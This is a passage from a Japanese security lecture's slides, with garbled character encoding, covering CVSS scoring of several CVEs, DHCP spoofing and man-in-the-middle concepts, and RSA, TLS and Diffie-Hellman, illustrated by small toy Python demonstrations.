    ҰൠϢʔβݖݶ͕ඞཁ ؅ཧऀݖݶ͕ඞཁ

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  130. جຊධՁج४ (Base Metrics)
    Ϣʔβؔ༩Ϩϕϧ(User Interaction)
    ߈ܸΛ੒ཱͤ͞ΔͨΊʹਖ਼نͷϢʔβʹԿ͔Λͤ͞Δඞཁ͕͋Δ͔
    ࡉ޻Λͨ͠8FCϖʔδΛ։͔ͤΔඞཁ͕͋Δ

    είʔϓ(Scope)
    ߈ܸΛड͚ͨίϯϙʔωϯτҎ֎΁ͷ߈ܸͷ଍͕͔Γʹ͞ΕΔՄೳੑ͕͋Δ͔
    ΫϩεαΠτεΫϦϓςΟϯάͳͲ͕͜Εʹ֘౰͢Δ

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  131. جຊධՁج४ (Base Metrics)
    ׬શੑ΁ͷӨڹ(Integrity Impact)
    ߈ܸऀ͸ର৅ͷ৘ใΛվ᜵Ͱ͖Δ͔
    վ᜵Ͱ͖Δ৘ใͷதʹػີ৘ใ͸ؚ·ΕಘΔ

    Մ༻ੑ΁ͷӨڹ(Availability Impact)
    ߈ܸऀ͸αʔϏεΛఀࢭͤ͞Δࣄ͕Ͱ͖Δ͔
    Ұ෦ͷػೳΛఀࢭͤ͞Δ͜ͱ͕Ͱ͖Δ ׬શʹఀࢭͤ͞Δ͜ͱ͕Ͱ͖Δ

    ػີੑ΁ͷӨڹ(Confidentiality Impact)
    ߈ܸऀʹݟ͑ͯ͸͍͚ͳ͍৘ใ͕ݟ͑ͯ͠·͏͔
    ݟ͑ͯ͠·͏৘ใͷதʹػີ৘ใ͸ؚ·ΕಘΔ

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  132. ͜͜ʹ
    $7&ͷ$744ΛషΔ
    Apach httpdͷ੬ऑੑCVE-2017-9798ͷ৔߹
    ωοτϫʔΫӽ͠ʹ߈ܸͰ͖Δ
    ߈ܸ͸؆୯
    ߈ܸʹݖݶ͸ಛʹඞཁͳ͠
    ϢʔβʹԿ͔ͤ͞Δඞཁ΋ͳ͠
    Αͦ΁ͷ߈ܸͷ଍͕͔Γʹ͸ͳΒͳ͍
    ػີ৘ใ͕࿙ΕΔ
    ৘ใͷվ͟Μ͸Ͱ͖ͳ͍
    Մ༻ੑΛଛͶΔ͜ͱ͸Ͱ͖ͳ͍
    ۓٸ౓: 7.5/10.0 (ߴ)
    ݁ߏϠό͍΍ͭͳΜͰૣ͍ͱ͜࠹͍Ͱ͓͜͏
    https://nvd.nist.gov/vuln/detail/CVE-2017-9798

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  133. ͜͜ʹ
    $7&ͷ$744ΛషΔ
    BINDͷ੬ऑੑCVE-2016-2776ͷ৔߹
    ωοτϫʔΫӽ͠ʹ߈ܸͰ͖Δ
    ߈ܸ͸؆୯
    ߈ܸʹݖݶ͸ಛʹඞཁͳ͠
    ϢʔβʹԿ͔ͤ͞Δඞཁ΋ͳ͠
    Αͦ΁ͷ߈ܸͷ଍͕͔Γʹ͸ͳΒͳ͍
    ৘ใ͸࿙Εͳ͍
    ৘ใͷվ͟Μ͸Ͱ͖ͳ͍
    Մ༻ੑΛ׬શʹଛͶΔࣄ͕Ͱ͖Δ
    ۓٸ౓: 7.5/10.0 (ߴ)
    ݁ߏϠό͍΍ͭͳΜͰૣ͍ͱ͜࠹͍Ͱ͓͜͏
    https://nvd.nist.gov/vuln/detail/CVE-2016-2776

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  134. ͜͜ʹ
    $7&ͷ$744ΛషΔ
    Firefoxͷ੬ऑੑCVE-2016-5253ͷ৔߹
    ϩʔΧϧ͔Β߈ܸͰ͖Δ
    ߈ܸ͸؆୯Ͱ͸ͳ͍
    ҰൠϢʔβݖݶ͕ཁΔ
    ϢʔβʹԿ͔ͤ͞Δඞཁ͸ͳ͠
    Αͦ΁ͷ߈ܸͷ଍͕͔Γʹ͸ͳΒͳ͍
    ৘ใ͸࿙Εͳ͍
    ػີ৘ใͷվ͟Μ͕Ͱ͖Δ
    Մ༻ੑΛଛͶΔࣄ͸Ͱ͖ͳ͍
    ۓٸ౓: 4.7/10.0 (த)
    ੬ऑੑʹ͸ҧ͍ͳ͍͚ͲϠό͍΍ͭͰ͸ͳͦ͞͏
    https://nvd.nist.gov/vuln/detail/CVE-2016-5253

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  135. ͜͜ʹ
    SFEIBUͷ੬ऑੑ৘ใͷϖʔδΛషΔ
    ۓٸ౓ͷߴ͍੬ऑੑ͕ݟ͔ͭΔͱ֤σΟετϦϏϡʔγϣϯ͔Β
    Ͳ͏͢Ε͹࠹͛Δ͔ʹؔ͢Δ৘ใ͕ग़Δ
    https://access.redhat.com/security/cve/cve-2016-2776 https://security-tracker.debian.org/tracker/CVE-2016-2776
    ͜͜ʹ
    EFCJBOͷ੬ऑੑ৘ใͷϖʔδΛషΔ

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  136. ࢖͍ͬͯΔιϑτ΢ΣΞͷ੬ऑੑʹCVE ID͕ৼΒΕͨ
    ͦͷIDʹ͍ͭͯৄࡉ͕ग़͍ͯͳ͍͔άάΖ͏
    ࢖͍ͬͯΔιϑτ΢ΣΞͷ੬ऑੑͷৄࡉ͕ग़͍ͯͨ
    CVSSΛݟͯӨڹΛධՁ͠Α͏
    σΟετϦ͔Βਂࠁͳ੬ऑੑͷमਖ਼͕ͳ͔ͳ͔ग़ͳ͍
    ੬ऑੑͷৄࡉΛݟͯ
    ໰୊ͷػೳΛආ͚ͯαʔϏεΛఏڙͰ͖ͳ͍͔ݕ౼͠Α͏
    σΟετϦ͔Βਂࠁͳ੬ऑੑͷमਖ਼͕ग़ͨ
    ૣٸʹΞοϓσʔτ͠Α͏

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  137. ௨৴ʹର͢Δ߈ܸʹඋ͑Δ

    View full-size slide

  138. 8J'J
    Πϯλʔωοτ ઀ଓઌ
    ϗςϧͷWiFiΞΫηεϙΠϯτʹ઀ଓ͠·͢
    Alice

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  139. 8J'J
    Πϯλʔωοτ ઀ଓઌ
    ϗςϧͷWiFiΞΫηεϙΠϯτʹ઀ଓ͠·͢
    ֎ʹग़Δʹ͸
    Ͳ͜ʹ௨৴Λ౤͛Ε͹
    ྑ͍Ͱ͔͢
    ͦΕ͸
    DHCP DISCOVER
    ѱҙ͋Δୈࡾऀ
    ͬͪͩ͜Α
    DHCP OFFER
    Alice

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  140. 8J'J
    Πϯλʔωοτ ઀ଓઌ
    ϗςϧͷWiFiΞΫηεϙΠϯτʹ઀ଓ͠·͢
    ѱҙ͋Δୈࡾऀ
    σʔλͷྲྀΕ
    ͜ͷΑ͏ͳ߈ܸ͸DHCPεϓʔϑΟϯάͱݺ͹ΕΔ
    Alice

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  141. ѱҙ͋Δୈࡾऀ͕ؒʹڬ·Δํ๏͸͍͔ͭ͋͘Δ͕
    ઀ଓઌ͔Β͜͏ͨ͠ঢ়ଶΛະવʹ๷͙ज़͸ແ͍ͨΊ
    ΠϯλʔωοτΛհͨ͠௨৴͸
    ؒʹѱҙ͋Δୈࡾऀ͕͍Δ΋ͷͱͯ͠
    ௨৴Λߦ͏ඞཁ͕͋Δ

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  142. Πϯλʔωοτ͸఻ݴήʔϜͩ
    ԕ͘ͷϗετʹͨͲΓணͨ͘Ίʹ͸
    ͨ͘͞ΜͷϗετΛܦ༝͢ΔՄೳੑ͕͋Δ
    ઀ଓઌ
    ܦ༝ͨ͠ϗετͷ਺Λhop਺ͱݺͿ
    1hop 2hop 3hop 4hop 5hop

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  143. Πϯλʔωοτ͸఻ݴήʔϜͩ
    ௨৴ܦ࿏্ʹ͋Δશͯͷϗετʹ͸
    ௨৴಺༰ؙ͕ݟ͑Ͱ͋Δ
    ઀ଓઌ

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  144. Πϯλʔωοτ͸఻ݴήʔϜͩ
    ௨৴ܦ࿏্ͷѱҙ͋Δୈࡾऀ͸
    ࣍ͷϗετʹਖ਼͘͠௨৴಺༰Λ఻͑ͳ͍͔΋͠Εͳ͍
    ઀ଓઌ

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  145. Πϯλʔωοτ͸఻ݴήʔϜͩ
    ௨৴ܦ࿏্ͷѱҙ͋Δୈࡾऀ͸
    ຊདྷͷ௨৴૬खʹͳΓ͢·͔͢΋͠Εͳ͍
    Bob
    Bob͞ΜͰ͔͢ ͸͍Bob͞ΜͰ͢
    Charlie
    Alice

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  146. ܦ࿏্ͷѱҙ͋Δୈࡾऀͷ
    ӨڹΛड͚ͳ͍ͨΊʹ͸
    ௨৴಺༰Λ҉߸Խ
    ௨৴಺༰͕վ͟Μ͞Ε͍ͯͳ͍͔ݕূ

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  147. ڞ௨伴҉߸
    H e l l o , sp W o r l d ! nl
    48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a
    m 8 can dc1 si vt n 9 n del : syn M f R +
    ed 38 98 11 8f 0b 6e 39 6e ff ba 16 4d e6 52 2b
    H e l l o , sp W o r l d ! nl
    48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a
    伴Λ࢖ͬͯม׵
    伴Λ࢖ͬͯٯม׵
    ͲͷΑ͏ʹม׵͢Δ͔ʹҧ͍͕͋Δ
    ෳ਺ͷ҉߸ΞϧΰϦζϜ͕ଘࡏ͢Δ

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  148. ྑ͍ڞ௨伴҉߸ͱ͸
    ݱ࣮తͳ࣌ؒͰશͯͷ伴Λࢼ͢͜ͱ͕Ͱ͖ͣ
    શͯͷ伴Λࢼ͢ΑΓޮ཰ͷྑ͍ղಡํ๏͕ଘࡏ͠ͳ͍
    ͜ΕΛূ໌͢Δͷ͕ࠔ೉
    ͜Ε͸伴Λ௕͘͢Ε͹࣮ݱͰ͖Δ

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  149. ΞϧΰϦζϜ͕޿͘ར༻͞Ε͍ͯͯ
    ͦΕͰ΋ޮ཰ͷྑ͍ղಡํ๏͕ൃݟ͞Ε͍ͯͳ͍҉߸͸
    গͳ͘ͱ΋ࠓͷͱ͜Ζ͸҆શͰ͋Δͱߟ͑ΒΕΔ
    ҉߸ΞϧΰϦζϜΛࣗ࡞͢Δͱ
    ͜ͷ෦෼Λຬͨ͢ͷ͕ࠔ೉ʹͳΔ
    ∴҉߸ΞϧΰϦζϜͷࣗ࡞͸ΦεεϝͰ͖ͳ͍
    ্هͷ৚݅Λຬͨ͢
    طଘͷ҉߸ΞϧΰϦζϜΛ࠾༻͠Α͏

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  150. ݱ࣮తͳ࣌ؒͰશͯͷ伴Λࢼ͢͜ͱ͕Ͱ͖ͣ
    ޿͘ར༻͞Ε͍ͯΔ͚Ͳ
    ޮ཰ͷྑ͍ղಡํ๏͕ݟ͔͍ͭͬͯͳ͍ڞ௨伴҉߸
    Advanced Encryption Standard (AES)
    Blowfish
    ͳͲͳͲ
    ϒϩοΫ҉߸
    ετϦʔϜ҉߸
    Chacha20

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  151. ڞ௨伴҉߸ͷ伴഑ૹ໰୊
    ҉߸Λ΍ΓऔΓ͢ΔͨΊʹ͸伴͕ඞཁ
    ͔͠͠҉߸Խͱ෮߸ʹಉ͡伴Λ࢖͍ͬͯΔ৔߹
    ౪ௌͷՄೳੑ͕͋Δ௨৴खஈΛ࢖ͬͯ૬खʹ伴Λ౉ͤͳ͍
    ѱҙ͋Δୈࡾऀʹ伴͕όϨ͍ͯͨΒ
    ҉߸ͷҙຯ͕ͳ͍ Bob
    Alice

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  152. ܦ࿏্ͷѱҙ͋Δୈࡾऀͷ
    ӨڹΛड͚ͳ͍ͨΊʹ͸
    ௨৴಺༰Λ҉߸Խ
    ௨৴಺༰͕վ͟Μ͞Ε͍ͯͳ͍͔ݕূ
    ѱҙ͋ΔୈࡾऀʹόϨͳ͍Α͏ʹ҉߸伴Λڞ༗
    NEW!

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  153. ެ։伴҉߸
    ୭͔͕ެ։伴Λ౪ௌ͍ͯͨ͠ͱͯ͠΋
    ͦͷ伴Ͱ௨৴಺༰Λ෮߸͢Δ͜ͱ͸Ͱ͖ͳ͍
    ෮߸͢Δͷʹඞཁͳ
    ൿີ伴
    ͸ଞਓʹڭ͑ͳ͍
    ҉߸Խͱ෮߸ʹҟͳΔ伴Λ࢖͏҉߸ΞϧΰϦζϜ
    ҉߸Խʹඞཁͳ
    ެ։伴
    Λ௨৴૬खʹૹΔ
    ௨৴૬ख͸ެ։伴Λ࢖ͬͯ
    伴ͷओʹૹΓ͍ͨϝοηʔδΛ҉߸Խ͢Δ

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  154. ެ։伴҉߸
    =15
    =-15 =42
    =57
    42+15=57
    57-15=42
    ͜Μͳ҉߸ͩͱ
    ҰॠͰެ։伴͔Βൿີ伴͕όϨͯ͠·͏
    ൿີ伴͔Βެ։伴͸؆୯ʹ࡞Εͳ͚Ε͹ͳΒͳ͍͕
    ެ։伴͔Βൿີ伴͸༰қʹ࡞Εͯ͸ͳΒͳ͍

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  155. RSA
    ൿີ伴͔Βެ։伴͸؆୯ʹ࡞Εͳ͚Ε͹ͳΒͳ͍͕
    ެ։伴͔Βൿີ伴͸༰қʹ࡞Εͯ͸ͳΒͳ͍
    373*61=22753Ͱ͋Δ͜ͱ͸؆୯ʹٻ·Δ͕
    22753͕373ͱ61ʹ෼ղͰ͖Δ͜ͱΛ
    ಉ͘͡Β͍؆୯ʹٻΊΔํ๏͸஌ΒΕ͍ͯͳ͍
    ૉҼ਺෼ղ͕ඞཁ
    ͜ͷΑ͏ʹܭࢉྔ͕ରশͰͳ͍ܭࢉΛڬΜͰ伴Λ࡞Δ͜ͱͰ
    ެ։伴͔Βൿີ伴Λ࡞Ζ͏ͱ͢Δͱ
    ๲େͳܭࢉ͕ඞཁʹͳΔΑ͏ͳ伴Λ࡞ΕΔ

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  156. #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    def egcd( x, y, a = 0, b = 1 ):
    div, mod = divmod( x, y )
    if mod == 0:
    return ( y, a )
    return egcd( y, mod, b - div * a, a )
    def modinv( x, y ):
    a, b = egcd( x, y )
    if a != 1:
    raise Exception( 'no modinv')
    return b % y
    def generate_key_pair():
    prime_nums = [ 116903, 215443, 139721 ]
    public_key = [ prime_nums[ 0 ] * prime_nums[ 1 ], prime_nums[ 2 ] ]
    private_key = modinv( public_key[ 1 ], ( prime_nums[ 0 ] - 1 ) * ( prime_nums[ 1 ] - 1 ) )
    return ( public_key, private_key )
    public_key, private_key = generate_key_pair();
    print( 'ൿີ伴:\t%d' % private_key )
    print( 'ެ։伴:\t%d,%d' % ( public_key[ 0 ], public_key[ 1 ] ) )
    plain = 0x686f6765
    print( 'ݪจ:\t%X' % plain )
    crypted = pow( plain, public_key[ 1 ], public_key[ 0 ] )
    print( '҉߸Խ:\t%X' % crypted )
    decrypted = pow( crypted, private_key, public_key[ 0 ] )
    print( '෮߸:\t%X' % decrypted )
    $ ./crypto.py
    ൿີ伴: 15753325457
    ެ։伴: 25185933029,139721
    ݪจ: 686F6765
    ҉߸Խ: 2779B8996
    ෮߸: 686F6765
    RSA

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  157. def egcd( x, y, a = 0, b = 1 ):
    div, mod = divmod( x, y )
    if mod == 0:
    return ( y, a )
    return egcd( y, mod, b - div * a, a )
    def modinv( x, y ):
    a, b = egcd( x, y )
    if a != 1:
    raise Exception( 'no modinv')
    return b % y
    def generate_key_pair():
    prime_nums = [ 116903, 215443, 139721 ]
    public_key = [ prime_nums[ 0 ] * prime_nums[ 1 ], prime_nums[ 2 ] ]
    private_key = modinv( public_key[ 1 ], ( prime_nums[ 0 ] - 1 ) * ( prime_nums[ 1 ] - 1 ) )
    return ( public_key, private_key )
    public_key, private_key = generate_key_pair();
    print( 'ൿີ伴:\t%d' % private_key )
    print( 'ެ։伴:\t%d,%d' % ( public_key[ 0 ], public_key[ 1 ] ) )
    plain = 0x686f6765
    print( 'ݪจ:\t%X' % plain )
    crypted = pow( plain, public_key[ 1 ], public_key[ 0 ] )
    print( '҉߸Խ:\t%X' % crypted )
    decrypted = pow( crypted, private_key, public_key[ 0 ] )
    print( '෮߸:\t%X' % decrypted )
    $ ./crypto.py
    ൿີ伴: 15753325457
    ެ։伴: 25185933029,139721
    ݪจ: 686F6765
    ҉߸Խ: 2779B8996
    ෮߸: 686F6765
    RSA
    ͋Δ੔਺nͱૉͳ1Ҏ্nະຬͷ
    ࣗવ਺ͷ਺ΛٻΊΔؔ਺Λ
    ΦΠϥʔͷτʔγΣϯτؔ਺φ(n)ͱݺͿ
    ૉ਺ͷఆٛΑΓn͕ૉ਺ͷ৔߹φ(n)͸n-1ʹͳΔ
    φ(ab)=φ(a)φ(b)ʹͳΔ͜ͱ͕஌ΒΕ͍ͯΔ
    aͱbΛ஌͍ͬͯΔͱφ(ab)͸ఆ਺࣌ؒͰٻ·Δ͕
    ab͔͠Θ͔Βͳ͍৔߹φ(ab)͸ࢦ਺࣌ؒΛཁ͢Δ
    ͜ͷඇରশੑΛ࢖ͬͯެ։伴͔Βൿີ伴ΛٻΊΔͷΛࠔ೉ʹ͢Δ

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  158. ެ։伴ΛૉҼ਺෼ղ͢Ε͹ൿີ伴ʹͨͲΓண͚Δ
    ༰қͰ͸ͳ͍͕
    ૯౰ͨΓͰ伴Λ୳͢ΑΓ͸୹࣌ؒͰߦ͑ͯ͠·͏

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  159. ૉҼ਺෼ղ͸େ͖ͳ਺ʹͳΔఔܭࢉʹ͕͔͔࣌ؒΔ
    ݱ࣮తͳ࣌ؒͰܭࢉͰ͖ͳ͍Α͏ͳେ͖ͳ਺Λ伴ͱ͢Δ͜ͱͰ
    ൿີ伴͕όϨΔͷΛ๷͙
    RSAͷ৔߹伴௕768bitҎԼͷ΋ͷ͸
    ݱ࣮తͳ࣌ؒͰൿີ伴͕ٻ·ͬͯ͠·͏ࣄ͕஌ΒΕ͍ͯΔ
    ͜ͷΑ͏ͳݹ͍伴͸ΑΓ௕͍伴ʹߋ৽͠ͳ͚Ε͹ͳΒͳ͍
    ެ։伴҉߸ͷ伴௕͸ૉҼ਺෼ղʹ͔͔Δ࣌ؒͰܾΊΔ

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  160. Bob
    Charlie
    தؒऀ߈ܸ
    ѱҙ͋Δୈࡾऀͱ҆શʹ௨৴Ͱ͖ΔΑ͏ʹͳͬͯ͠·ͬͨ!
    Bob͞ΜͰ͔͢ ͸͍Bob͞ΜͰ͢
    ௨৴૬ख͕ຊ෺Ͱ͋Δ͜ͱΛ͔֬Ίͳ͚Ε͹ͳΒ͍

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  161. ܦ࿏্ͷѱҙ͋Δୈࡾऀͷ
    ӨڹΛड͚ͳ͍ͨΊʹ͸
    ௨৴಺༰Λ҉߸Խ
    ௨৴૬ख͕ຊ෺͔Ͳ͏͔֬ೝ
    ௨৴಺༰͕վ͟Μ͞Ε͍ͯͳ͍͔ݕূ
    ѱҙ͋ΔୈࡾऀʹόϨͳ͍Α͏ʹ҉߸伴Λڞ༗
    NEW!

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  162. Bob
    ೝূہ
    BobຊਓͰ͋Δ͜ͱΛ
    ෺ཧతͳํ๏Ͱ֬ೝͯ͠
    ൿີ伴Λൃߦ
    ެ։伴Λऔಘ
    αʔόূ໌ॻ
    ެ։伴Λ࢖ͬͯ҉߸Խͨ͠σʔλ͸
    ຊ෺ͷBob͚͕ͩಡΊΔ
    ԿΒ͔ͷཧ༝ͰBobͷൿີ伴͕
    ଞਓͷखʹ౉ͬͯ͠·ͬͨ৔߹
    ೝূہ͸ͦͷ伴Λࣦޮͤ͞Δ

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  163. Transport Layer Security
    ུͯ͠TLS ੲ͸SSLͱݺ͹Ε͍ͯͨ
    ͜ΕΒͷػೳΛ࣋ͬͨ௨৴࿏Λ࡞ΔͨΊͷن֨
    RFCͰඪ४Խ[1]͞Ε͓ͯΓOpenSSLͳͲͷ࣮૷͕ଘࡏ͢Δ
    ࣌୅ͱͱ΋ʹ҆શͳ҉߸͸มΘΔͨΊTLS͸༷ʑͳ҉߸ٕज़Λαϙʔτ͍ͯ͠Δ
    [1] https://www.ietf.org/rfc/rfc5246.txt
    ௨৴಺༰Λ҉߸Խ
    ௨৴૬ख͕ຊ෺͔Ͳ͏͔֬ೝ
    ௨৴಺༰͕վ͟Μ͞Ε͍ͯͳ͍͔ݕূ
    ѱҙ͋ΔୈࡾऀʹόϨͳ͍Α͏ʹ҉߸伴Λڞ༗

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  164. Transport Layer Security
    ෺ཧ૚
    σʔλϦϯΫ૚
    TCP/IP
    ௨৴Λߦ͏ΞϓϦέʔγϣϯ
    TLS
    TLSΛ࢖͏ΞϓϦέʔγϣϯ͸
    TLSʹ௨৴σʔλΛ౉͢
    TLS͸௨৴૬खͷ֬ೝɺ伴ڞ༗Λߦ͍
    ҉߸Խͯ͠ϋογϡΛ͚ͭͨσʔλΛ
    TCP/IPͷιέοτʹྲྀ͢
    TLSͷ্ʹΞϓϦέʔγϣϯΛ࡞ΔࣄͰ
    ҉߸ʹؔ͢Δ໘౗ࣄΛ
    ࣗ෼Ͱ࣮૷͢Δඞཁ͕ͳ͘ͳΔ

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  165. RSAΛ༻͍ͨTLS
    ެ։伴Λऔಘ
    nΛެ։伴Ͱ҉߸Խͯ͠౉͢
    ͋Δཚ਺nΛ࡞Δ
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ
    ڞ௨伴҉߸Ͱ
    ҉߸Խ͞Εͨ௨৴
    ༗ޮͳެ։伴Ͱ҉߸Խͨ͠஋Λ྆ऀͰڞ༗Ͱ͖ͨͱ͍͏͜ͱ͸
    ڞ௨伴͸ҙਤͨ͠௨৴૬खͷΈͱڞ༗͞Εͨঢ়ଶʹ͋Δ
    ຊ෺ͷ௨৴૬ख͸
    ൿີ伴Ͱ
    nΛऔΓग़ͤΔ
    Bob
    Alice

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  166. RSAΛ༻͍ͨTLS
    औಘ
    nΛެ։伴Ͱ҉߸Խͯ͠౉͢
    ͋Δཚ਺nΛ࡞Δ
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ
    ڞ௨伴҉߸Ͱ
    ҉߸Խ͞Εͨ௨৴
    ͜ͷ࣌ͷ௨৴Λه࿥͍ͯ͠Δୈࡾऀ͕͍ͨͱ͢Δ
    ͜ͷ࣌఺Ͱ͸ڞ௨伴҉߸ͷ伴΋ൿີ伴΋Θ͔Βͳ͍ͨΊ
    ୈࡾऀ͸௨৴ͷ಺༰Λ஌Δ͜ͱ͕Ͱ͖ͳ͍
    Bob
    Alice

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  167. nΛެ։伴Ͱ҉߸Խͯ͠౉͢
    ͋Δཚ਺nΛ࡞Δ
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ
    ڞ௨伴҉߸Ͱ
    ҉߸Խ͞Εͨ௨৴
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ
    ͦͷޙԿΒ͔ͷཧ༝Ͱൿີ伴͕ެʹͳΔͱ
    ୈࡾऀ͸อଘ͓͍ͯͨ͠௨৴಺༰͔Β
    ڞ௨伴ΛऔΓग़ͯ͠
    શͯͷ௨৴಺༰Λ஌Δ͜ͱ͕Ͱ͖Δ
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ

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  168. nΛެ։伴Ͱ҉߸Խͯ͠౉͢
    ͋Δཚ਺nΛ࡞Δ
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ
    ڞ௨伴҉߸Ͱ
    ҉߸Խ͞Εͨ௨৴
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ
    ϑΥϫʔυηΩϡϦςΟ
    ௨৴͕ߦΘΕͨޙͰαʔόূ໌ॻͷൿີ伴͕όϨͯ΋
    ͦΕ·ͰʹߦΘΕͨ௨৴಺༰͕όϨͳ͍Α͏ʹ͢Δ͜ͱ
    RSAͰڞ༗伴ͷૉΛ௨৴૬खʹૹΔͱ
    ϑΥϫʔυηΩϡϦςΟΛ࣮ݱͰ͖ͳ͍
    ͦͷޙԿΒ͔ͷཧ༝Ͱൿີ伴͕ެʹͳΔͱ
    ୈࡾऀ͸อଘ͓͍ͯͨ͠௨৴಺༰͔Β
    ڞ௨伴ΛऔΓग़ͯ͠
    શͯͷ௨৴಺༰Λ஌Δ͜ͱ͕Ͱ͖Δ

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  169. ཭ࢄର਺໰୊
    G = xa mod p (ͨͩ͠p͸ૉ਺Ͱ 2 ≦ a < p)
    ͜ͷΑ͏ͳࣜʹ͓͍ͯ
    xͱaͱp͔ΒG͸ର਺࣌ؒͰٻ·Δ͕
    xͱGͱp͔ΒaΛٻΊΔʹ͸ࢦ਺࣌ؒΛཁ͢Δ
    ಛʹp͕ڊେͳૉ਺ͷ৔߹
    aΛݱ࣮తͳ࣌ؒͰٻΊΒΕͳ͘ͳΔ

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  170. Diffie-Hellman伴ڞ༗
    G = xa mod p (ͨͩ͠p͸ૉ਺Ͱ 2 ≦ a < p)
    ͜ͷΑ͏ͳࣜʹ͓͍ͯ
    xͱaͱp͔ΒG͸ର਺࣌ؒͰٻ·Δ͕
    xͱGͱp͔ΒaΛٻΊΔʹ͸ࢦ਺࣌ؒΛཁ͢Δ
    ͜ͷඇରশੑΛ࢖ͬͯ௨৴ܦ࿏্ʹݟ͑Δ৘ใ͚ͩͰ͸
    ༰қʹ伴ΛٻΊΒΕͳ͍Α͏ʹ͢Δ
    ಛʹp͕ڊେͳૉ਺ͷ৔߹
    aΛݱ࣮తͳ࣌ؒͰٻΊΒΕͳ͘ͳΔ

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  171. Diffie-Hellman伴ڞ༗
    ͋Δཚ਺aΛ࡞Δ ͋Δཚ਺bΛ࡞Δ
    Ga = xa mod p Gb = xb mod p
    n = Gba mod p n = Gab mod p
    n͸ͲͪΒͷܭࢉํ๏Ͱ΋
    ಉ͡஋ʹͳΔ
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ
    nΛ΋ͱʹ
    ڞ௨伴Λ࡞Δ
    ͜͜Ͱަ׵͞ΕΔGa Gb
    ͔Β
    aͱbΛ஌Δࣄ͸Ͱ͖ͳ͍

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  172. #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    import random
    random.seed()
    # pͱx͸ࣄલʹ௨৴૬खͱڞ༗͓ͯ͘͠ = ౪ௌऀʹݟ͑Δ
    p=152219 # ೚ҙͷૉ਺
    x=2 # 2Ҏ্pະຬͷ೚ҙͷࣗવ਺
    # ͜ͷ஋͸௨৴ʹ৐ͤͳ͍ = ౪ௌऀʹݟ͑ͳ͍
    secret1=random.randint(2,p)
    secret2=random.randint(2,p)
    print( u'Alice͕࡞ͬͨൿີͷ஋: %d' % secret1 )
    print( u'Bob͕࡞ͬͨൿີͷ஋: %d' % secret2 )
    # ͜ͷ஋͸௨৴Ͱ૬खʹ౉͢ = ౪ௌऀʹݟ͑Δ
    public1=pow( x, secret1, p )
    public2=pow( x, secret2, p )
    print( u'Alice͔ΒBobʹૹΔ஋: %d' % public1 )
    print( u'Bob͔ΒAliceʹૹΔ஋: %d' % public2 )
    # ͜ͷ஋͕Ұக͢Δ
    key1=pow( public2, secret1, p )
    key2=pow( public1, secret2, p )
    print( u'Alice͕Bob͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: %d' % key1 )
    print( u'Bob͕Alice͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: %d' % key2 )
    Diffie-Hellman伴ڞ༗
    $ ./dh.py
    Alice͕࡞ͬͨൿີͷ஋: 118909
    Bob͕࡞ͬͨൿີͷ஋: 89005
    Alice͔ΒBobʹૹΔ஋: 26981
    Bob͔ΒAliceʹૹΔ஋: 123319
    Alice͕Bob͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: 7243
    Bob͕Alice͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: 7243

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  173. #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    import random
    random.seed()
    # pͱx͸ࣄલʹ௨৴૬खͱڞ༗͓ͯ͘͠ = ౪ௌऀʹݟ͑Δ
    p=152219 # ೚ҙͷૉ਺
    x=2 # 2Ҏ্pະຬͷ೚ҙͷࣗવ਺
    # ͜ͷ஋͸௨৴ʹ৐ͤͳ͍ = ౪ௌऀʹݟ͑ͳ͍
    secret1=random.randint(2,p)
    secret2=random.randint(2,p)
    print( u'Alice͕࡞ͬͨൿີͷ஋: %d' % secret1 )
    print( u'Bob͕࡞ͬͨൿີͷ஋: %d' % secret2 )
    # ͜ͷ஋͸௨৴Ͱ૬खʹ౉͢ = ౪ௌऀʹݟ͑Δ
    public1=pow( x, secret1, p )
    public2=pow( x, secret2, p )
    print( u'Alice͔ΒBobʹૹΔ஋: %d' % public1 )
    print( u'Bob͔ΒAliceʹૹΔ஋: %d' % public2 )
    # ͜ͷ஋͕Ұக͢Δ
    key1=pow( public2, secret1, p )
    key2=pow( public1, secret2, p )
    print( u'Alice͕Bob͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: %d' % key1 )
    print( u'Bob͕Alice͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: %d' % key2 )
    Diffie-Hellman伴ڞ༗
    $ ./dh.py
    Alice͕࡞ͬͨൿີͷ஋: 118909
    Bob͕࡞ͬͨൿີͷ஋: 89005
    Alice͔ΒBobʹૹΔ஋: 26981
    Bob͔ΒAliceʹૹΔ஋: 123319
    Alice͕Bob͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: 7243
    Bob͕Alice͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: 7243
    7243ͱ͍͏஋Λڞ༗Ͱ͖ͨ
    ͜ͷ஋Λ΋ͱʹͯ͠ڞ௨伴҉߸ͷ伴Λ࡞Δ͜ͱ͕Ͱ͖Δ

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  174. Diffie-Hellman Ephemeral
    Ұ࣌త
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    import random
    random.seed()
    # pͱx͸ࣄલʹ௨৴૬खͱڞ༗͓ͯ͘͠ = ౪ௌऀʹݟ͑Δ
    p=152219 # ೚ҙͷૉ਺
    x=2 # 2Ҏ্pະຬͷ೚ҙͷࣗવ਺
